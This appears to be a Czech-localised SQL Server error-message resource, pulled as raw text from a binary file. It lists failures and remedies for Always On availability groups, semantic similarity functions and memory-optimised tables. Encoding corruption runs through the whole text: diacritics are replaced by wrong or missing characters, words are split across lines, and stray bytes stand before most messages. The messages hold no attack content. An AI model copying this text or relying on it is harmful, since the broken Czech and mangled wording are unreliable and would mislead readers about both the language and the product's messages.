it m�stn� repliku dostupnosti jako prim�rn� repliku skupiny dostupnosti, spusete pY�kaz vynucen�ho pYevzet� slu~eb pYi selh�n� v t�to instanci syst�mu SQL Server.

�PYipojen� repliky dostupnosti ke skupin dostupnosti %1!s! se nezdaYilo, proto~e skupina nen� v re~imu online. Uvete skupinu dostupnosti do re~imu online nebo ji vyYate a vytvoYte znovu. Pot� operaci pYipojen� opakujte.

Nejde pYijmout operace skupin dostupnosti Always On v datab�zi %1!s! skupiny dostupnosti %2!s!. Datab�ze te zpracov�v� jinou operaci, co~ mo~e v�st ke zmn stavu datab�ze. Opakujte operaci pozdji. Pokud stav potrv�, obraete se na spr�vce datab�ze.

Skupina dostupnosti %1!s! nemo~e zpracovat pY�kaz ALTER AVAILABILITY GROUP, proto~e m�stn� replika dostupnosti nen� prim�rn� replikou. PYipojte se k instanci serveru, kter� je aktu�ln hostitelem prim�rn� repliky t�to skupiny dostupnosti, a spusete pY�kaz znovu.

�Nastaven� informac� datab�ze skupiny dostupnosti %1!s! se nezdaYilo. M�stn� replika dostupnosti nen� prim�rn� nebo je pr�v ukon
ov�na. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Replika dostupnosti pro skupinu dostupnosti %1!s! v t�to instanci syst�mu SQL Server se nemo~e st�t prim�rn� replikou. Nkter� datab�ze nejsou synchronizov�ny nebo se nepYipojily ke skupin dostupnosti. Pokud replika dostupnosti pou~�v� re~im asynchronn�ho z�pisu, zkuste prov�st vynucen� ru
n� pYevzet� slu~eb pYi selh�n� (s mo~nou ztr�tou dat). Jakmile jsou vaechny m�stn� sekund�rn� datab�ze pYipojeny a synchronizov�ny, lze v t�to sekund�rn� replice prov�st pl�novan� ru
n� pYevzet� slu~eb pYi selh�n� (bez ztr�ty dat). Dala� informace z�sk�te na webu Knihy online pro SQL Server.

�Operaci nelze zpracovat. M�stn� replika skupiny dostupnosti %1!s! je ve stavu selh�n�. PYedchoz� operace na
ten� nebo aktualizace trval�ch konfigura
n�ch dat pro skupinu dostupnosti se nezdaYila. Zotaven� z tohoto stavu mo~ete prov�st restartov�n�m m�stn� slu~by Windows Server Failover Clustering (WSFC) nebo restartov�n�m m�stn� instance syst�mu SQL Server.

�M�stn� replika dostupnosti skupiny dostupnosti %1!s! je ve stavu selh�n�. Replice se nepodaYilo na
�st nebo aktualizovat trval� konfigura
n� data (Chyba syst�mu SQL Server: %2!s!). Zotaven� z tohoto stavu mo~ete prov�st restartov�n�m m�stn� slu~by Windows Server Failover Clustering (WSFC) nebo restartov�n�m m�stn� instance syst�mu SQL Server.

xUveden� skupiny dostupnosti %1!s! do online re~imu se nepovedlo. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. OvYte, zda je m�stn� uzel WSFC spuatn�, a operaci opakujte. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

Datab�zi %1!s! nelze pYidat 
i pYipojit ke skupin dostupnosti %2!s!. Datab�ze v t�to instanci syst�mu SQL Server neexistuje. Zkontrolujte n�zev datab�ze, a zda datab�ze v instanci serveru existuje. Pot� zadejte spr�vn� n�zev datab�ze a operaci opakujte.

pOperace ve skupin dostupnosti %1!s! byla zruaena nebo pYeruaena (vyprael 
as pYipojen� nebo byla zruaena u~ivatelem). Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

xUveden� skupiny dostupnosti %1!s! do offline re~imu se nepovedlo. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. OvYte, zda je m�stn� uzel WSFC spuatn�, a operaci opakujte. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

�PYi pYistupov�n� ke spr�vci skupin dostupnosti doalo k chyb. M�stn� spr�vce skupin dostupnosti nebyl inicializov�n. Po
kejte, a~ bude spr�vce skupin dostupnosti ve stavu, kter� umo~Huje pY�stup, a operaci opakujte.

4VytvoYen� skupiny dostupnosti %1!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %2!s! a operace byla vr�cena zpt. Dala� podrobnosti naleznete v protokolu chyb syst�mu SQL Server. Zopakujte pY�kaz CREATE AVAILABILITY GROUP po vyYeaen� pot�~� zposobuj�c�ch chybu.

�VytvoYen� skupiny dostupnosti %1!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %2!s!. Pokus o vr�cen� operace zpt se nezdaYil. Podrobnosti naleznete v protokolu chyb syst�mu SQL Server. Pot� spuatn�m pY�kazu DROP AVAILABILITY GROUP vy
istte veaker� metadata, kter� mohla zostat z ne�span�ho pokusu o vytvoYen� skupiny dostupnosti.

TU skupiny dostupnosti %1!s! nelze prov�st pYevzet� slu~eb pYi selh�n� touto instanc� syst�mu SQL Server. St�le prob�h� vytv�Yen� skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Po
kejte na dokon
en� pY�kazu CREATE AVAILABILITY GROUP a pak operaci opakujte.

pU skupiny dostupnosti %1!s! nelze prov�st pYevzet� slu~eb pYi selh�n� touto instanc� syst�mu SQL Server. Prob�h� vyYazov�n� skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Pokud operace vyYazen� nebyla z�mrn�, bude pravdpodobn tYeba vytvoYit skupinu dostupnosti znovu.

�Skupinu dostupnosti %1!s! nelze z t�to instance syst�mu SQL Server vyYadit. Bu prob�h� vyYazov�n� skupina dostupnosti, nebo prob�h� odeb�r�n� m�stn� repliky dostupnosti ze skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Po
kejte na dokon
en� aktu�ln� operace a pak v pY�pad potYeby akci opakujte.

�M�stn� repliku dostupnosti skupiny dostupnosti %1!s! nelze odebrat z t�to instance syst�mu SQL Server. Bu prob�h� vyYazov�n� skupina dostupnosti, nebo prob�h� odpojov�n� m�stn� repliky dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Po
kejte na dokon
en� aktu�ln� operace a pak v pY�pad potYeby akci opakujte.

xSpojen� m�stn� repliky dostupnosti se skupinou dostupnosti %1!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %2!s! a operace byla vr�cena zpt. Dala� podrobnosti naleznete v protokolu chyb syst�mu SQL Server. Zopakujte pY�kaz ALTER AVAILABILITY GROUP JOIN po vyYeaen� pot�~� zposobuj�c�ch chybu.

�Spojen� m�stn� repliky dostupnosti se skupinou dostupnosti %1!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %2!s!. Pokus o vr�cen� operace zpt se nezdaYil. Podrobnosti naleznete v protokolu chyb syst�mu SQL Server. Spuatn�m pY�kazu DROP AVAILABILITY GROUP vy
istte veaker� metadata, kter� mohla zostat ze skupiny dostupnosti.

`M�stn� repliku dostupnosti skupiny dostupnosti %1!s! se nepodaYilo ozna
it jako prim�rn� repliku. PYi operaci doalo k chyb syst�mu SQL Server %2!s! a operace byla ukon
ena. Dala� podrobnosti o chyb�ch a pY�sluan�ch opravn�ch akc�ch naleznete u pYedchoz� chyby a v protokolu chyb syst�mu SQL Server.

PNepodaYilo se ovYit kontroln� sou
et (CRC) konfigurace skupiny dostupnosti %1!s!. PYi operaci doalo k chyb syst�mu SQL Server %2!s! a z dovodo ochrany konfigurace a konzistence pYipojen�ch datab�z� byla skupina dostupnosti pYevedena do re~imu offline. Podrobnosti naleznete v protokolu chyb syst�mu SQL Server. V pY�pad poakozen� dat konfigurace bude pravdpodobn nutn� skupinu dostupnosti vyYadit a vytvoYit znovu.

�NepodaYilo se ovYit 
�slo sekvence konfigurace skupiny dostupnosti %1!s!. �slo sekvence v pamti neodpov�d� trval�mu 
�slu sekvence. Skupina dostupnosti a m�stn� replika dostupnosti budou automaticky restartov�ny. Nen� tYeba ~�dn� akce u~ivatele.

<PYi 
ek�n� na pYechod m�stn� repliky dostupnosti skupiny dostupnosti %1!s! do prim�rn� role doalo k chyb. PYi operaci doalo k chyb SQL OS %2!s! a operace byla ukon
ena. Zkontrolujte, jestli je skupina dostupnosti ve spr�vn�m stavu na pYijet� tohoto pY�kazu. Pokud je toto skupina dostupnosti WSFC, zkontrolujte d�le, jestli i cluster WSFC je ve spr�vn�m stavu na pYijet� pY�kazu. Potom zkuste pY�kaz znovu.

8PYi 
ek�n� na pYechod m�stn� repliky dostupnosti skupiny dostupnosti %1!s! do role Yeaen� doalo k chyb. PYi operaci doalo k chyb SQL OS %2!s! a operace byla ukon
ena. Zkontrolujte, jestli je skupina dostupnosti ve spr�vn�m stavu na pYijet� tohoto pY�kazu. Pokud je toto skupina dostupnosti WSFC, zkontrolujte d�le, jestli i cluster WSFC je ve spr�vn�m stavu na pYijet� pY�kazu. Potom zkuste pY�kaz znovu.

�PYi 
ek�n� na pY�stup k m�stn� replice dostupnosti skupiny dostupnosti %1!s! doalo k chyb z dovodu vypraen� 
asov�ho limitu. K replice dostupnosti aktu�ln pYistupuje jin� operace. Po
kejte na dokon
en� prob�haj�c� operace a pak pY�kaz opakujte.

�PYi 
ek�n� na pY�stup k m�stn� replice dostupnosti skupiny dostupnosti %1!s! doalo k chyb. PYi operaci doalo k chyb SQL OS %2!s! a operace byla ukon
ena. Zkontrolujte, zda se replika dostupnosti nach�z� ve spr�vn�m stavu, a pY�kaz opakujte.

(PYi 
ek�n� na pY�stup k m�stn� replice dostupnosti %1!s! ve skupin dostupnosti %2!s! doalo k chyb. Replika dostupnosti nebyla v konfiguraci skupiny dostupnosti nalezena. Zkontrolujte, zda skupina dostupnosti a replika dostupnosti maj� spr�vn� n�zev, a opakujte pY�kaz.

(PYi pokusu o pY�stup k replice dostupnosti s ID %1!s! ve skupin dostupnosti %2!s! doalo k chyb. Replika dostupnosti nebyla v konfiguraci skupiny dostupnosti nalezena. Zkontrolujte, zda n�zev skupiny dostupnosti a ID repliky dostupnosti jsou spr�vn�, a opakujte pY�kaz.

<PYi pokusu o pY�stup k datab�zi skupiny dostupnosti s ID %1!s! ve skupin dostupnosti %2!s! doalo k chyb. Datab�ze dostupnosti nebyla v konfiguraci skupiny dostupnosti nalezena. Zkontrolujte, zda n�zev skupiny dostupnosti a ID datab�ze dostupnosti jsou spr�vn�, a opakujte pY�kaz.

�VytvoYen� skupiny dostupnosti %1!s! se nezdaYilo, proto~e skupina Windows Server Failover Cluster (WSFC) se zadan�m n�zvem ji~ existuje. Operace byla �span vr�cena zpt. Chcete-li se znovu pokusit vytvoYit skupinu dostupnosti, bu odeberte nebo pYejmenujte existuj�c� skupinu WSFC, nebo zadejte jin� n�zev skupiny dostupnosti a operaci opakujte.

�PYi vyYazov�n� skupiny dostupnosti %1!s! doalo k chyb. PYi operaci doalo k chyb SQL OS %2!s! a operace byla ukon
ena. Zkontrolujte, jestli  je zadan� n�zev skupiny dostupnosti spr�vn�, a opakujte pY�kaz.

�PYi odeb�r�n� m�stn� repliky dostupnosti od skupiny dostupnosti %1!s! doalo k chyb. PYi operaci doalo k chyb SQL OS %2!s! a operace byla ukon
ena. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�, a opakujte pY�kaz.

Prob�h� vyYazov�n� repliky dostupnosti zadan� skupiny dostupnosti %1!s!. Po
kejte na dokon
en� pY�kazu DROP a zopakujte operaci pozdji. 

Skupinu dostupnosti %1!s! nelze z t�to instance syst�mu SQL Server vyYadit. Pr�v prob�h� vytv�Yen� skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Po
kejte na dokon
en� aktu�ln� operace a pak v pY�pad potYeby akci opakujte.

LM�stn� repliku dostupnosti skupiny dostupnosti %1!s! nelze z t�to instance syst�mu SQL Server odebrat. Pr�v prob�h� vytv�Yen� skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Po
kejte na dokon
en� aktu�ln� operace a pak v pY�pad potYeby akci opakujte.

Doalo k pokusu o pY�stup k neexistuj�c� nebo neinicializovan� skupin dostupnosti s ID %1!s!. Obvykle se jedn� o vnitYn� stav, napY�klad vyYazen� skupiny dostupnosti nebo ztracen� kvora m�stn�ho uzlu WSFC. V takov�ch pY�padech nen� zapotYeb� ~�dn� akce u~ivatele.

�M�stn� replika dostupnosti skupiny dostupnosti %1!s! se nestala prim�rn� replikou. Soub~n prob�haj�c� operace pravdpodobn zmnila stav skupiny dostupnosti v clusteru Windows Server Failover Cluster. Zkontrolujte, zda je stav skupiny dostupnosti v clusteru Windows Server Failover Cluster spr�vn�, a pak operaci opakujte.

�NepodaYilo se nastavit pYipojen� m�stn� repliky dostupnosti skupiny dostupnosti %1!s! k datab�zi slu~by Windows Server Failover Clustering (WSFC). Bu m�stn� replika dostupnosti ji~ nen� prim�rn�, nebo slu~ba WSFC ji~ nen� pY�stupn�. Zkontrolujte, zda je m�stn� uzel slu~by WSFC v re~imu online a zda je m�stn� replika dostupnosti prim�rn�. Pak operaci opakujte.

�Zmna mo~nost� m�stn� repliky dostupnosti pro skupinu dostupnosti %1!s! se nepovedla. Ne~ mohlo doj�t k aktualizaci konfigurace skupiny dostupnosti, doalo k chyb syst�mu SQL Server %2!s!. Operace byla vr�cena zpt. Dala� informace naleznete v�protokolu chyb syst�mu SQL Server. Pokud je toto skupina dostupnosti WSFC (Windows Server Failover Clustering), zkontrolujte, ~e je m�stn� uzel WSFC online, a pY�kaz opakujte. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

�Zmna mo~nost� m�stn� repliky dostupnosti pro skupinu dostupnosti %1!s! se nepovedla. Konfigurace skupiny dostupnosti byla aktualizov�na. PYi pou~it� nov� konfigurace v m�stn� replice dostupnosti vaak doalo k chyb syst�mu SQL Server %2!s! a operace byla ukon
ena. Dala� informace naleznete v�protokolu chyb syst�mu SQL Server. Pokud je toto skupina dostupnosti WSFC (Windows Server Failover Clustering), zkontrolujte, ~e je m�stn� uzel WSFC online, a pY�kaz opakujte. Pomoc� pY�kazu ALTER AVAILABILITY GROUP vraete zpt zmny proveden� v konfiguraci skupiny dostupnosti.

,Skupina dostupnosti %1!s! nemo~e aktu�ln zpracovat pY�kaz ALTER AVAILABILITY GROUP. St�le prob�h� vytv�Yen� skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Po
kejte na dokon
en� pY�kazu CREATE AVAILABILITY GROUP a pak operaci opakujte.

8Skupina dostupnosti %1!s! nemo~e aktu�ln zpracovat pY�kaz ALTER AVAILABILITY GROUP. Prob�h� vyYazov�n� skupiny dostupnosti. Zkontrolujte, zda je zadan� n�zev skupiny dostupnosti spr�vn�. Pokud vyYazen� nebylo z�mrn�, bude pravdpodobn tYeba vytvoYit skupinu dostupnosti znovu.

�Skupin dostupnosti %1!s! se nepovedlo zpracovat pY�kaz %2!s!-%3!s!. Ne~ mohlo doj�t k aktualizaci konfigurace skupiny dostupnosti, doalo k chyb syst�mu SQL Server %4!s!. Operace byla vr�cena zpt. Podrobnosti naleznete v�protokolu chyb syst�mu SQL Server. Pokud je toto skupina dostupnosti WSFC (Windows Server Failover Clustering), zkontrolujte, ~e je m�stn� uzel WSFC online, a pY�kaz opakujte. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

0Skupin dostupnosti %1!s! se nepovedlo zpracovat pY�kaz %2!s!-%3!s!. Konfigurace skupiny dostupnosti byla aktualizov�na. PYi pou~it� nov� konfigurace v m�stn� replice dostupnosti vaak doalo k chyb syst�mu SQL Server %4!s! a operace byla ukon
ena. Podrobnosti naleznete v�protokolu chyb syst�mu SQL Server. Pokud je toto skupina dostupnosti WSFC (Windows Server Failover Clustering), zkontrolujte, ~e je m�stn� uzel WSFC online. Pomoc� pY�kazu ALTER AVAILABILITY GROUP vraete zpt zmny proveden� v konfiguraci skupiny dostupnosti.

<Skupin dostupnosti %1!s! se nepodaYilo zpracovat pY�kaz %2!s!-%3!s!. M�stn� replika dostupnosti nen� v takov�m stavu, aby mohla pY�kaz zpracovat. Zkontrolujte, zda je skupina dostupnosti v re~imu online a zda je m�stn� replika dostupnosti prim�rn� replikou, a pak opakujte pY�kaz.

�M�stn� replika dostupnosti skupiny dostupnosti %1!s! se nemo~e st�t prim�rn� replikou. Posledn� zn�m� replika dostupnosti je vyaa� verze ne~ m�stn� replika dostupnosti. Upgradujte m�stn� instanci syst�mu SQL Server na stejnou nebo vyaa� verzi, ne~ jakou m� instance serveru, kter� hostuje aktu�ln� prim�rn� repliku dostupnosti, a pak opakujte pY�kaz.

�VytvoYen� a pl�nov�n� pracovn� �lohy pro skupiny dostupnosti Always On se kvoli nedostatku prostYedko nepovedlo (chyba SQL OS %1!s!). Zpracov�n� nov�ch akc� se mo~e zpozdit nebo mo~e b�t zablokov�no, dokud se nevyYea� nedostatek prostYedko. Aby mohla b�t napl�nov�na nov� vl�kna, sni~te zat�~en� pamti nebo po
et vl�ken v instanci syst�mu SQL Server. Probl�m mo~e vyYeait napl�nov�n� nov�ch �loh. Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat m�stn� instanci syst�mu SQL Server.

pPYi 
ek�n� na dokon
en� pr�ce prov�dn� po ukon
en� re~imu online m�stn� repliky dostupnosti skupiny dostupnosti %1!s! doalo k chyb. PYi operaci doalo k chyb SQL OS %2!s! a operace byla ukon
ena. Zkontrolujte, jestli je skupina dostupnosti ve spr�vn�m stavu na pYijet� tohoto pY�kazu. Pokud je toto skupina dostupnosti WSFC, zkontrolujte d�le, jestli i cluster WSFC je ve spr�vn�m stavu na pYijet� pY�kazu. Potom zkuste pY�kaz znovu.

\Skupin dostupnosti %1!s! se nepodaYilo zpracovat pY�kaz pro obnoven� zapoj
en� slu~by WSFC. Zapoj
en� m�stn� replika dostupnosti ji~ nen� platn� a nemo~e tento pY�kaz zpracovat. asov� limit zapoj
en� repliky dostupnosti vyprael. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

pVytvoYen� skupiny dostupnosti %1!s! se nezdaYilo, proto~e skupina Windows Server Failover Cluster (WSFC) se zadan�m n�zvem ji~ existuje. Pokus vr�tit operaci zpt se nezdaYil. Dala� podrobnosti naleznete v protokolu chyb syst�mu SQL Server. Chcete-li ru
n vy
istit 
�ste
n vytvoYenou skupinu dostupnosti, spusete pY�kaz DROP AVAILABILITY GROUP. Znovu zadejte pY�kaz CREATE AVAILABILITY GROUP s jedine
n�m n�zvem skupiny dostupnosti.

Pro repliku %1!s! nebyla ur
ena mo~nost FAILOVER_MODE. Zadejte pY�kaz znovu s re~imem pYevzet� slu~eb pYi selh�n� pro repliku.

�Pro repliku %1!s! nebyl zad�n pY�kaz AVAILABILITY_MODE. Zadejte pY�kaz znovu s re~imem dostupnosti pro repliku.

�Zadan� pY�kaz je neplatn�, proto~e funkce skupin dostupnosti Always On %1!s! nen� touto edic� SQL Serveru podporovan�. Informace o funkc�ch podporovan�ch jednotliv�mi edicemi SQL Serveru najdete na webu Knihy online pro SQL Server.

�Funkce SEMANTICSIMILARITYTABLE, SEMANTICKEYPHRASETABLE a SEMANTICSIMILARITYDETAILSTABLE nepodporuj� vzd�len� zdroje dat.

LZdrojov� tabulka %1!s! zadan� ve funkci SEMANTICSIMILARITYTABLE, SEMANTICKEYPHRASETABLE nebo SEMANTICSIMILARITYDETAILSTABLE neobsahuje fulltextov� index, kter� pou~�v� mo~nost STATISTICAL_SEMANTICS. Pou~it� t�to funkce vy~aduje fulltextov� index pou~�vaj�c� mo~nost STATISTICAL_SEMANTICS.

�Sloupec %1!s! zadan� ve funkci SEMANTICSIMILARITYTABLE, SEMANTICKEYPHRASETABLE nebo SEMANTICSIMILARITYDETAILSTABLE nen� indexov�n pomoc� fulltextov�ho indexu, kter� pou~�v� mo~nost STATISTICAL_SEMANTICS. Aby bylo mo~n� ve funkci pou~�t dan� sloupec, je tYeba jej indexovat pomoc� fultextov�ho indexu pou~�vaj�c�ho mo~nost STATISTICAL_SEMANTICS.

�Ve funkci SEMANTICSIMILARITYTABLE je po~adov�n parametr source_key.

�Datab�ze statistiky s�mantick�ho jazyka je ji~ zaregistrov�na.

�Nen� zaregistrov�na ~�dn� datab�ze statistiky s�mantick�ho jazyka.

�Datab�ze %1!s! neexistuje nebo je form�t datab�ze neplatn�. Zadejte platn� n�zev datab�ze statistiky s�mantick�ho jazyka.

�PYi pokusu o registraci datab�ze statistiky s�mantick�ho jazyka doalo k chyb.

Funkce SEMANTICSIMILARITYTABLE, SEMANTICKEYPHRASETABLE a SEMANTICSIMILARITYDETAILSTABLE nepodporuj� aktualizaci ani vkl�d�n�.

Funkce SEMANTICSIMILARITYTABLE, SEMANTICKEYPHRASETABLE a SEMANTICSIMILARITYDETAILSTABLE nepodporuj� b~n� tabulkov� v�razy.

�Aktu�ln� transakci nelze zapsat a tak� nemo~e podporovat operace 
ten� nebo z�pisu. Vraete transakci zpt.

�Doalo k selh�n� z�vislosti transakc�, tak~e u~ aktu�ln� transakci nejde potvrdit. Opakujte pros�m transakci.

Aktu�ln� transakce se pokusila aktualizovat z�znam, kter� byl od spuatn� t�to transakce aktualizov�n. Transakce byla pYeruaena.

�Po
et kbel�ko pro index hash mus� b�t kladn� cel� 
�slo, kter� nepYekra
uje hodnotu %1!s!.

�Z�pis aktu�ln� transakce se nezdaYil z dovodu chyby ovYen� 
ten� s mo~nost� opakov�n�.

�roveH vnoYen� %1!s! pro podm�nn� bloky a bloky v�jimek pro nativn kompilovan� moduly se pYekro
ila. Zjednoduate pros�m modul.

LDatab�ze s ID %1!s! ji~ existuje.

�Nelze na
�st kompilovanou knihovnu DLL pro datab�zi s ID %1!s!.

�Byl zjiatn soubor s neplatn�m form�tem. Podrobnosti naleznete v�protokolu chyb syst�mu SQL Server.

�PYi generov�n� k�du jazyka C doalo k chyb. K�d chyby je %1!s!.

�Nelze prov�st vol�n� do kompil�toru jazyka C. GetLastError = %1!s!.

�V kompil�toru jazyka C doalo k chyb. Ukon
ovac� k�d procesu je %1!s!.

�PYevod v�choz� hodnoty pro parametr %1!s! se nezdaYil. Ulo~enou proceduru %2!s! nelze vytvoYit.

|Operace s kontroln�m bodem se v datab�zi %1!s! nezdaYila.

�Operace obnoven� datab�ze %1!s! se nezdaYila s k�dem vnitYn� chyby 0x%2!s!.

�U~ivatelsk� transakce, kter� pYistupuje k pameov optimalizovan�m tabulk�m nebo nativn kompilovan�m modulom, nemo~e pYistupovat k v�ce ne~ jedn� u~ivatelsk� datab�zi nebo modelu datab�z� a datab�zi msdb a nemo~e ani zapisovat do hlavn� datab�ze.

K pameov optimalizovan�m tabulk�m a nativn kompilovan�m modulom nejde pYistupovat z procedur ulo~en�ch v modulu SQLCLR.

�V klauzul�ch WHERE dotazo v nativn kompilovan�ch modulech je povolen� maxim�ln tento po
et predik�to: %1!s!.

�Klauzule EXECUTE AS je povinn� a klauzule EXECUTE AS CALLER nen� s nativn kompilovan�mi moduly podporovan�.

�Pameov optimalizovan� tabulka %1!s! s hodnotou DURABILITY=SCHEMA_AND_DATA mus� m�t prim�rn� kl�
.

`PYi operaci exportu MAT/PIT doalo k chyb pameov optimalizovan� tabulky nebo nativn kompilovan�ho modulu s ID objektu %1!s! v datab�zi s ID %2!s!. K�d chyby je 0x%3!s!.

�Tabulka typu %1!s! nem� typ pameov optimalizovan� tabulky a nejde ji pou~�t v nativn kompilovan�m modulu.

�Promnnou pameov optimalizovan� tabulky %1!s! nelze pou~�t v d�vce pomoc� pY�kazu USE.

�Z�pis aktu�ln� transakce se nezdaYil z dovodu chyby ovYen� serializovateln�ch polo~ek.

�Pameov optimalizovan� tabulky nelze v syst�mov�ch datab�z�ch vytvoYit.

�Pameov optimalizovan� tabulka %1!s! mus� m�t nejm�n jeden index nebo prim�rn� kl�
.

xDoalo k pYete
en� operace s plovouc� desetinnou 
�rkou.

|Po chyb z�vislosti transakce n�sledovala nepodporovan� operace. K parametrom a promnn�m nelze pYistupovat v bloku CATCH a blok CATCH mus� na z�klad chyby z�vislosti vyvolat v�jimku.

hOperace vytvoYen� datab�ze %1!s! se nezdaYila.

(V transakci doalo ke stavu nedostatku pamti pYi vr�cen� zpt do ulo~en�ho bodu a transakci nelze z toho dovodu zapsat. Vraete transakci zpt.

pK pameov optimalizovan�m tabulk�m a nativn kompilovan�m modulom nejde pYistupovat ani je vytv�Yet, kdy~ je vlastnost TRANSACTION ISOLATION LEVEL nastaven� na hodnotu SNAPSHOT.

DK pameov optimalizovan�m tabulk�m a nativn kompilovan�m modulom na �rovni izolace sn�mku mo~ou pYistupovat n�sleduj�c� transakce: RepeatableRead, Serializable a transakce pYistupuj�c� k tabulk�m, kter� nejsou pameov optimalizovan� v izolaci typu RepeatableRead nebo Serializable.

�Adres�Y pro generov�n� k�du nejde spr�vn vytvoYit nebo nastavit.

Zmna kolace datab�ze nen� povolen�, kdy~ datab�ze obsahuje pameov optimalizovan� tabulky nebo nativn kompilovan� moduly.

%1!s! nejde vytvoYit. Aby bylo mo~n� %2!s! vytvoYit, datab�ze mus� m�t online MEMORY_OPTIMIZED_FILEGROUP a minim�ln jeden kontejner.

�Byla zjiatna neplatn� verze datov�ho souboru. Podrobnosti naleznete v�protokolu chyb syst�mu SQL Server.

�Tabulka %1!s! se po za
�tku aktu�ln� transakce vytvoYila nebo pozmnila. Transakce se zruaila. Opakujte pros�m transakci.

Transakce provedla v pameov optimalizovan�ch tabulk�ch pY�lia mnoho pY�kazo INSERT, UPDATE nebo DELETE. Transakce byla ukon
ena.

xTabulka %1!s! zat�m nen� v sekund�rn� replice dostupn�.

�Model procesoru v syst�mu nepodporuje vytvoYen� polo~ky %1!s!. K t�to chyb obvykle doch�z� u stara�ch procesoro. Dala� informace o podporovan�ch modelech naleznete na webu Knihy online pro SQL Server.

�PYepnut� za provozu technologie OLTP na prim�rn� repliku datab�ze %1!s! se nezdaYilo.

0Pokud z�loha obsahuje skupinu souboro MEMORY_OPTIMIZED_DATA, pY�kaz RESTORE DATABASE WITH PARTIAL vy~aduje mo~nost MEMORY_OPTIMIZED_DATA_FILEGROUP.

,Bylo pYekro
eno omezen� velikosti kl�
e %1!s! bajto pro neclusterovan� indexy v pameov optimalizovan�ch tabulk�ch. Zjednoduate definici indexu.

�PY�kazy CREATE a UPDATE STATISTICS pro pameov optimalizovan� tabulky nepodporuj� klauzuli WHERE.

$PY�kaz BACKUP nebo RESTORE DATABASE, kter� obsahuje prim�rn� skupinu souboro, mus� obsahovat skupinu souboro MEMORY_OPTIMIZED_DATA a naopak.

�Skupiny souboro MEMORY_OPTIMIZED_DATA nelze pou~�vat s klauzul� FILESTREAM_ON. Ur
ete skupinu souboro FILESTREAM.

�PYi zpracov�n� protokolu doalo k chyb. Verze protokolu nen� podporov�na.

�Operaci v datab�zi s ID %1!s! nelze dokon
it, proto~e je datab�ze pou~�v�na.

�Operaci v datab�zi s ID %1!s! nelze dokon
it, proto~e je datab�ze vyYazov�na nebo pYev�dna do re~imu offline.

�Ve vl�knu kontroln�ho bodu XTP na pozad� doalo k neodstraniteln� chyb (%1!s!) pro datab�zi %2!s!. Proces kontroln�ho bodu bude ukon
en, aby vl�kno mohlo vy
istit sv� zdroje. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

TV operaci kontroln�ho bodu XTP na pozad� doalo k chyb (%1!s!) pYi zpracov�n� z�znamu protokolu %2!s! pro datab�zi %3!s!. Zpracov�ni kontroln�ho bodu bylo ukon
eno.

�Skupiny souboro s mo~nost� MEMORY_OPTIMIZED_DATA mohou b�t vytvoYeny pouze v 64bitov�ch instalac�ch syst�mu SQL Server.

�Tabulky s hodnotou MEMORY_OPTIMIZED=ON mohou b�t vytvoYeny pouze v 64bitov�ch instalac�ch syst�mu SQL Server.

�Ulo~en� procedury s hodnotou NATIVE_COMPILATION mohou b�t vytvoYeny pouze v 64bitov�ch instalac�ch syst�mu SQL Server.

�Dotaz, kter� pYistupuje k pameov optimalizovan�m tabulk�m s �rovn� izolace READ COMMITTED, nemo~e pYistupovat k tabulk�m zalo~en�m na disku, kdy~ je mo~nost datab�ze READ_COMMITTED_SNAPSHOT nastavena na hodnotu ON. Zadejte pro pameov optimalizovanou tabulku podporovanou �roveH izolace pomoc� pomocn�ho parametru, jako je napY�klad WITH (SNAPSHOT).

�V�choz� skupina souboro MEMORY_OPTIMIZED_DATA nen� v datab�zi %1!s! dostupn�.

�Vlastnost READ_ONLY skupiny souboro MEMORY_OPTIMIZED_DATA nelze zmnit.

�Kontejner FILESTREAM %1!s! nelze pYidat. Na serveru je nedostatek pamti nebo je cesta ke kontejneru pY�lia dlouh�.

�Ulo~enou proceduru %2!s! mo~ou prov�st jedin vlastn�ci datab�ze %1!s! nebo u~ivatel� s platn�mi opr�vnn�mi.

�Ulo~enou proceduru %1!s! je mo~n� prov�st jedin v datab�zi s online skupinou souboro MEMORY_OPTIMIZED_DATA.

�Po~adavek slou
en� pro rozsah transakc� [%1!s!, %2!s!] v datab�zi %3!s! nebyl napl�nov�n. Soubory kontroln�ch bodo reprezentovan� rozsahem nelze slou
it nebo ji~ jsou sou
�st� existuj�c� operace slou
en�.

�Operace slou
en� selhala, proto~e po~adovan� rozsah ID transakce je neplatn�.

�Operaci slou
en� rozsahu transakc� [%1!s!, %2!s!] v datab�zi %3!s! se nepodaYilo dokon
it. Chyba: 0x%4!s!.

